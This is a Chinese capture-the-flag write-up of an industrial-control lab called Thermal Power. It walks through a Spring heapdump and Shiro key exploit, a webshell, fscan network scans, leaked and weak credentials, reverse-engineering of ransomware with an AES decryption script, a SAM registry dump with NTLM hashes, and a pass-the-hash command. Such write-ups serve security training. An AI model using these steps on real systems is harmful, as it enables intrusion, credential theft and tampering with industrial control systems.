春秋云镜 Thermal Power
上来直接扫出来heapdump泄露,访问39.99.129.158:8080/actuator/heapdump下载附件
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
得到shrio的key为QZYysgMYhG6/CzIJlVpR2g==,直接工具一把梭
上个哥斯拉的马,直接拿flag
flag:flag{2c3f631f-a8ad-4e09-8b8f-02bc6d607628}
弹个shell到自己的vps便于操作.
架个nps横向代理,传个fscan去扫内网.
./fscan -h 172.22.17.213/24
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
(icmp) Target 172.22.17.6 is alive
(icmp) Target 172.22.17.213 is alive
[*] Icmp alive hosts len is: 2
172.22.17.6:139 open
172.22.17.6:135 open
172.22.17.6:80 open
172.22.17.6:21 open
172.22.17.213:22 open
172.22.17.213:8080 open
172.22.17.6:445 open
[*] alive ports len is: 7
start vulscan
[*] NetInfo
[*]172.22.17.6
[->]WIN-ENGINEER
[->]172.22.17.6
[*] NetBios 172.22.17.6 WORKGROUP\WIN-ENGINEER
[+] ftp 172.22.17.6:21:anonymous
[->]Modbus
[->]PLC
[->]web.config
[->]WinCC
[->]内部软件
[->]火创能源内部资料
[*] WebTitle http://172.22.17.213:8080 code:302 len:0 title:None 跳转url: http://172.22.17.213:8080/login;jsessionid=FCDFEF290E0075C07772027D859BF24F
[*] WebTitle http://172.22.17.213:8080/login;jsessionid=FCDFEF290E0075C07772027D859BF24F code:200 len:2936 title:火创能源监控画面管理平台
[*] WebTitle http://172.22.17.6 code:200 len:661 title:172.22.17.6 - /
[+] PocScan http://172.22.17.213:8080 poc-yaml-spring-actuator-heapdump-file
[+] PocScan http://172.22.17.213:8080 poc-yaml-springboot-env-unauth spring2
172.22.17.6存在匿名ftp访问,直接登.编码注意选择GBK.
在其中找到了文件包含以下内容
WIN-SCADA: 172.22.26.xx
Username: Administrator
Password: IYnT3GyCiy3
扫描172.22.26.xx网段.
./fscan -h 172.22.26.1/24
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
(icmp) Target 172.22.26.11 is alive
[*] Icmp alive hosts len is: 1
172.22.26.11:139 open
172.22.26.11:135 open
172.22.26.11:80 open
172.22.26.11:1433 open
172.22.26.11:445 open
[*] alive ports len is: 5
start vulscan
[*] NetBios 172.22.26.11 WORKGROUP\WIN-SCADA
[*] NetInfo
[*]172.22.26.11
[->]WIN-SCADA
[->]172.22.26.11
[+] mssql 172.22.26.11:1433:sa 123456
[*] WebTitle http://172.22.26.11 code:200 len:703 title:IIS Windows Server
已完成 5/5
[*] 扫描结束,耗时: 3.857355731s
找到了一台计算机172.22.26.11,甚至还扫出来了他的mssql弱密码!
rdp直接登录.
点一下锅炉开直接就有flag了
flag:flag{bcd080d5-2cf1-4095-ac15-fa4bef9ca1c0}
win+D返回桌面,找到了文件ScadaDB.sql.locky,是个加密了的数据库文件.除此以外还找到了Lockyou.exe勒索文件,估计这个数据库文件就是被勒索软件加密的.
使用Dnscpy去逆一下看看.
关键代码如下:
public AESCrypto()
{
this.BACKEND_URL = "http://39.101.170.47/";
this.PRIVATE_KEY = this.GetHttpContent(this.BACKEND_URL + "privateKey");
this.AES_KEY_ENC = this.GetHttpContent(this.BACKEND_URL + "encryptedAesKey");
this.AES_KEY = this.DecryptRSA(this.AES_KEY_ENC, this.PRIVATE_KEY);
}
我们看到了这个AES_KEY的生成方式.
题目描述里给了一个privateKey和encryptedAesKey,encryptedAesKey是使用privateKey用rsa加密了aeskey得到的.
privateKey如下
<RSAKeyValue><Modulus>uoL2CAaVtMVp7b4/Ifcex2Artuu2tvtBO25JdMwAneu6gEPCrQvDyswebchA1LnV3e+OJV5kHxFTp/diIzSnmnhUmfZjYrshZSLGm1fTwcRrL6YYVsfVZG/4ULSDURfAihyN1HILP/WqCquu1oWo0CdxowMsZpMDPodqzHcFCxE=</Modulus><Exponent>AQAB</Exponent><P>2RPqaofcJ/phIp3QFCEyi0kj0FZRQmmWmiAmg/C0MyeX255mej8Isg0vws9PNP3RLLj25O1pbIJ+fqwWfUEmFw==</P><Q>2/QGgIpqpxODaJLQvjS8xnU8NvxMlk110LSUnfAh/E6wB/XUc89HhWMqh4sGo/LAX0n94dcZ4vLMpzbkVfy5Fw==</Q><DP>ulK51o6ejUH/tfK281A7TgqNTvmH7fUra0dFR+KHCZFmav9e/na0Q//FivTeC6IAtN5eLMkKwDSR1rBm7UPKKQ==</DP><DQ>PO2J541wIbvsCMmyfR3KtQbAmVKmPHRUkG2VRXLBV0zMwke8hCAE5dQkcct3GW8jDsJGS4r0JsOvIRq5gYAyHQ==</DQ><InverseQ>JS2ttB0WJm223plhJQrWqSvs9LdEeTd8cgNWoyTkMOkYIieRTRko/RuXufgxppl4bL9RRTI8e8tkHoPzNLK4bA==</InverseQ><D>tuLJ687BJ5RYraZac6zFQo178A8siDrRmTwozV1o0XGf3DwVfefGYmpLAC1X3QAoxUosoVnwZUJxPIfodEsieDoxRqVxMCcKbJK3nwMdAKov6BpxGUloALlxTi6OImT6w/roTW9OK6vlF54o5U/4DnQNUM6ss/2/CMM/EgM9vz0=</D></RSAKeyValue>
将xml格式转换为pem格式
-----BEGIN PRIVATE KEY-----
MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBALqC9ggGlbTFae2+
PyH3HsdgK7brtrb7QTtuSXTMAJ3ruoBDwq0Lw8rMHm3IQNS51d3vjiVeZB8RU6f3
YiM0p5p4VJn2Y2K7IWUixptX08HEay+mGFbH1WRv+FC0g1EXwIocjdRyCz/1qgqr
rtaFqNAncaMDLGaTAz6Hasx3BQsRAgMBAAECgYEAtuLJ687BJ5RYraZac6zFQo17
8A8siDrRmTwozV1o0XGf3DwVfefGYmpLAC1X3QAoxUosoVnwZUJxPIfodEsieDox
RqVxMCcKbJK3nwMdAKov6BpxGUloALlxTi6OImT6w/roTW9OK6vlF54o5U/4DnQN
UM6ss/2/CMM/EgM9vz0CQQDZE+pqh9wn+mEindAUITKLSSPQVlFCaZaaICaD8LQz
J5fbnmZ6PwiyDS/Cz080/dEsuPbk7Wlsgn5+rBZ9QSYXAkEA2/QGgIpqpxODaJLQ
vjS8xnU8NvxMlk110LSUnfAh/E6wB/XUc89HhWMqh4sGo/LAX0n94dcZ4vLMpzbk
Vfy5FwJBALpSudaOno1B/7XytvNQO04KjU75h+31K2tHRUfihwmRZmr/Xv52tEP/
xYr03guiALTeXizJCsA0kdawZu1DyikCQDztieeNcCG77AjJsn0dyrUGwJlSpjx0
VJBtlUVywVdMzMJHvIQgBOXUJHHLdxlvIw7CRkuK9CbDryEauYGAMh0CQCUtrbQd
FiZttt6ZYSUK1qkr7PS3RHk3fHIDVqMk5DDpGCInkU0ZKP0bl7n4MaaZeGy/UUUy
PHvLZB6D8zSyuGw=
-----END PRIVATE KEY-----
encryptedAesKey如下
lFmBs4qEhrqJJDIZ6PXvOyckwF/sqPUXzMM/IzLM/MHu9UhAB3rW/XBBoVxRmmASQEKrmFZLxliXq789vTX5AYNFcvKlwF6+Y7vkeKMOANMczPWT8UU5UcGi6PQLsgkP3m+Q26ZD9vKRkVM5964hJLVzogAUHoyC8bUAwDoNc7g=
使用在线网站进行解码
得到AES的秘钥.cli9gqXpTrm7CPMcdP9TSmVSzXVgSb3jrW+AakS7azk=
AES的iv(初始化向量)一般是16个字节,扒个脚本去破这个文件
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64
# 读取加密文件内容
encrypted_file = 'ScadaDB.sql.locky'
with open(encrypted_file, 'rb') as file:
encrypted_data = file.read()
# 解密密钥
key = 'cli9gqXpTrm7CPMcdP9TSmVSzXVgSb3jrW+AakS7azk='
key = base64.b64decode(key)
# 按照每 16 位数据作为 IV 进行解密
iv = encrypted_data[:16]
# 创建 AES 解密器
cipher = AES.new(key, AES.MODE_CBC, IV=iv)
# 解密数据（去除 IV 后的部分）
decrypted_data = unpad(cipher.decrypt(encrypted_data[16:]), AES.block_size)
# 写入解密后的内容到新文件
decrypted_file = 'decrypted_file.txt'
with open(decrypted_file, 'wb') as file:
file.write(decrypted_data)
print(f'文件解密完成，解密后的数据已保存到 {decrypted_file}')
成功得到了数据库中的flag
flag:flag{63cd8cd5-151f-4f29-bdc7-f80312888158}
在之前的ftp匿名登录中还找到了这样的一个通知
按照规则随便找个SCADA工程师的用户名密码登录172.22.17.6,这里我直接使用chenhua/chenhua@0813
登录以后发现权限不够需要提权.printfspoof提权失败.
whoami /priv查看特权
发现开启了SeChangeNotifyPrivilege特权.这特权就很nb,允许访问任意目录.
注意
接下来出现了一些问题,在网上找到了两种处理方法,但是挨个尝试发现都没有成功.在可见的最后一个做的人的wp(Thermal Power)中发现他这步也没通,疑似环境出问题了.
下面的方法来自别人的博客.
法一:
导入BackupPrivilegeEscalation工具包
直接打一个注册表sam转储
powershell下执行命令
cd Desktop
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege
Get-SeBackupPrivilege
Copy-FileSeBackupPrivilege C:\Users\Administrator\flag\flag02.txt C:\Users\chenhua\Desktop\flag02.txt -Overwrite
然而没通.
法二:
转储sam&system注册表
PS C:\Users\chenhua\Desktop> reg save hklm\sam sam.hive
操作成功完成。
PS C:\Users\chenhua\Desktop> reg save hklm\system system.hive
操作成功完成。
使用impacket包中的secretsdump.py从注册表转储文件中获取 ntlm哈希
root@kali-server:~# impacket-secretsdump -sam sam.hive -system system.hive LOCAL
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Target system bootKey: 0x6c2be46aaccdf65a9b7be2941d6e7759
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f82292b7ac79b05d5b0e3d302bd0d279:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:a2fa2853651307ab9936cc95c0e0acf5:::
chentao:1000:aad3b435b51404eeaad3b435b51404ee:47466010c82da0b75328192959da3658:::
zhaoli:1001:aad3b435b51404eeaad3b435b51404ee:2b83822caab67ef07b614d05fd72e215:::
wangning:1002:aad3b435b51404eeaad3b435b51404ee:3c52d89c176321511ec686d6c05770e3:::
zhangling:1003:aad3b435b51404eeaad3b435b51404ee:8349a4c5dd1bdcbc5a14333dd13d9f81:::
zhangying:1004:aad3b435b51404eeaad3b435b51404ee:8497fa5480a163cb7817f23a8525be7d:::
lilong:1005:aad3b435b51404eeaad3b435b51404ee:c3612c48cf829d1149f7a4e3ef4acb8a:::
liyumei:1006:aad3b435b51404eeaad3b435b51404ee:63ddcde0fa219c75e48e2cba6ea8c471:::
wangzhiqiang:1007:aad3b435b51404eeaad3b435b51404ee:5a661f54da156dc93a5b546ea143ea07:::
zhouyong:1008:aad3b435b51404eeaad3b435b51404ee:5d49bf647380720b9f6a15dbc3ffe432:::
chenhua:1009:aad3b435b51404eeaad3b435b51404ee:07ff24422b538b97f3c297cc8ddc7615:::
[*] Cleaning up...
直接打pth.喜报是这里的ntml不是动态变化的,我用别人博客中的ntml进行pth也成功了...
proxychains crackmapexec smb 172.22.17.6 -u administrator -Hf82292b7ac79b05d5b0e3d302bd0d279 -d xiaorang.lab -x "type C:\\Users\Administrator\flag\f*"
flag:flag{b3a51cef-58d2-40e3-976a-0421fbcf3391}
共用时2小时9分钟.评价是狗屎靶场,题目都是其他靶场做过的,changeNotifyPrivilege是打不通的,域是没有的.实在是幽默的很.
